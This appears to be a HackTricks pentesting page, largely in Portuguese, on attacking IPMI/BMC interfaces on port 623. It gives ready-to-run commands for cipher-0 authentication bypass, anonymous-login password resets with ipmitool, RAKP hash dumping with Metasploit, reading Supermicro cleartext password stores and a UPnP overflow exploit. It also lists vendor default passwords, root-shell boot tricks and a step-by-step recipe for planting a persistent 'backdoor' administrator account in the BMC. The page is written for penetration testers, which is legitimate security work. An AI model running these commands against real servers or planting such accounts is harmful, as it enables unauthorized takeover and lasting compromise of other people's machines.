10 KiB
623/UDP/TCP - IPMI
623/UDP/TCP - IPMI
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Basic Information
Overview of IPMI
Intelligent Platform Management Interface (IPMI) oferece uma abordagem padronizada para gerenciamento e monitoramento remoto de sistemas computacionais, independente do sistema operacional ou estado de energia. Esta tecnologia permite que administradores de sistema gerenciem sistemas remotamente, mesmo quando estão desligados ou não respondem, e é especialmente útil para:
- Configurações de pré-inicialização do sistema operacional
- Gerenciamento de desligamento
- Recuperação de falhas do sistema
O IPMI é capaz de monitorar temperaturas, voltagens, velocidades de ventiladores e fontes de alimentação, além de fornecer informações de inventário, revisar logs de hardware e enviar alertas via SNMP. Essencial para seu funcionamento são uma fonte de energia e uma conexão LAN.
Desde sua introdução pela Intel em 1998, o IPMI tem sido suportado por diversos fornecedores, aprimorando as capacidades de gerenciamento remoto, especialmente com o suporte da versão 2.0 para serial over LAN. Os componentes principais incluem:
- Baseboard Management Controller (BMC): O microcontrolador principal para operações de IPMI.
- Buses e Interfaces de Comunicação: Para comunicação interna e externa, incluindo ICMB, IPMB e várias interfaces para conexões locais e de rede.
- Memória IPMI: Para armazenar logs e dados.
Porta Padrão: 623/UDP/TCP (Normalmente está no UDP, mas também pode estar rodando no TCP)
Enumeration
Discovery
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
Você pode identificar a versão usando:
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
Vulnerabilidades do IPMI
No âmbito do IPMI 2.0, uma falha de segurança significativa foi descoberta por Dan Farmer, expondo uma vulnerabilidade através do tipo de cifra 0. Esta vulnerabilidade, documentada em detalhes na pesquisa de Dan Farmer, permite acesso não autorizado com qualquer senha, desde que um usuário válido seja alvo. Essa fraqueza foi encontrada em vários BMCs de fabricantes como HP, Dell e Supermicro, sugerindo um problema generalizado em todas as implementações do IPMI 2.0.
Bypass de Autenticação do IPMI via Cifra 0
Para detectar essa falha, o seguinte scanner auxiliar do Metasploit pode ser empregado:
use auxiliary/scanner/ipmi/ipmi_cipher_zero
A exploração dessa falha é alcançável com ipmitool
, conforme demonstrado abaixo, permitindo a listagem e modificação de senhas de usuários:
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
Recuperação de Hash de Senha Remota de Autenticação RAKP do IPMI 2.0
Essa vulnerabilidade permite a recuperação de senhas hash salgadas (MD5 e SHA1) para qualquer nome de usuário existente. Para testar essa vulnerabilidade, o Metasploit oferece um módulo:
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
Autenticação Anônima IPMI
Uma configuração padrão em muitos BMCs permite acesso "anônimo", caracterizado por strings de nome de usuário e senha nulas. Essa configuração pode ser explorada para redefinir senhas de contas de usuário nomeadas usando ipmitool
:
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
Supermicro IPMI Senhas em Texto Claro
Uma escolha de design crítica no IPMI 2.0 exige o armazenamento de senhas em texto claro dentro dos BMCs para fins de autenticação. O armazenamento dessas senhas pela Supermicro em locais como /nv/PSBlock
ou /nv/PSStore
levanta preocupações significativas de segurança:
cat /nv/PSBlock
Vulnerabilidade UPnP do IPMI da Supermicro
A inclusão de um ouvinte SSDP UPnP no firmware IPMI da Supermicro, particularmente na porta UDP 1900, introduz um grave risco de segurança. Vulnerabilidades no Intel SDK para Dispositivos UPnP versão 1.3.1, conforme detalhado pela divulgação da Rapid7, permitem acesso root ao BMC:
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
Brute Force
A HP randomiza a senha padrão para seu produto Integrated Lights Out (iLO) durante a fabricação. Essa prática contrasta com outros fabricantes, que tendem a usar credenciais padrão estáticas. Um resumo de nomes de usuários e senhas padrão para vários produtos é fornecido a seguir:
- HP Integrated Lights Out (iLO) usa uma string aleatória de 8 caracteres como sua senha padrão, demonstrando um nível de segurança mais alto.
- Produtos como iDRAC da Dell, IMM da IBM e Controlador de Gerenciamento Remoto Integrado da Fujitsu usam senhas facilmente adivinháveis, como "calvin", "PASSW0RD" (com um zero) e "admin", respectivamente.
- Da mesma forma, Supermicro IPMI (2.0), Oracle/Sun ILOM e ASUS iKVM BMC também usam credenciais padrão simples, com "ADMIN", "changeme" e "admin" servindo como suas senhas.
Accessing the Host via BMC
O acesso administrativo ao Controlador de Gerenciamento de Placa Base (BMC) abre vários caminhos para acessar o sistema operacional do host. Uma abordagem simples envolve explorar a funcionalidade de Teclado, Vídeo e Mouse (KVM) do BMC. Isso pode ser feito reiniciando o host para um shell root via GRUB (usando init=/bin/sh
) ou inicializando a partir de um CD-ROM virtual configurado como disco de resgate. Esses métodos permitem a manipulação direta do disco do host, incluindo a inserção de backdoors, extração de dados ou quaisquer ações necessárias para uma avaliação de segurança. No entanto, isso requer a reinicialização do host, o que é uma desvantagem significativa. Sem reiniciar, acessar o host em execução é mais complexo e varia com a configuração do host. Se o console físico ou serial do host permanecer logado, pode ser facilmente assumido através das funcionalidades KVM ou serial-over-LAN (sol) do BMC via ipmitool
. Explorar a exploração de recursos de hardware compartilhados, como o barramento i2c e o chip Super I/O, é uma área que demanda mais investigação.
Introducing Backdoors into BMC from the Host
Ao comprometer um host equipado com um BMC, a interface BMC local pode ser aproveitada para inserir uma conta de usuário backdoor, criando uma presença duradoura no servidor. Este ataque requer a presença de ipmitool
no host comprometido e a ativação do suporte ao driver BMC. Os seguintes comandos ilustram como uma nova conta de usuário pode ser injetada no BMC usando a interface local do host, o que contorna a necessidade de autenticação. Essa técnica é aplicável a uma ampla gama de sistemas operacionais, incluindo Linux, Windows, BSD e até mesmo DOS.
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
Shodan
port:623
Referências
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.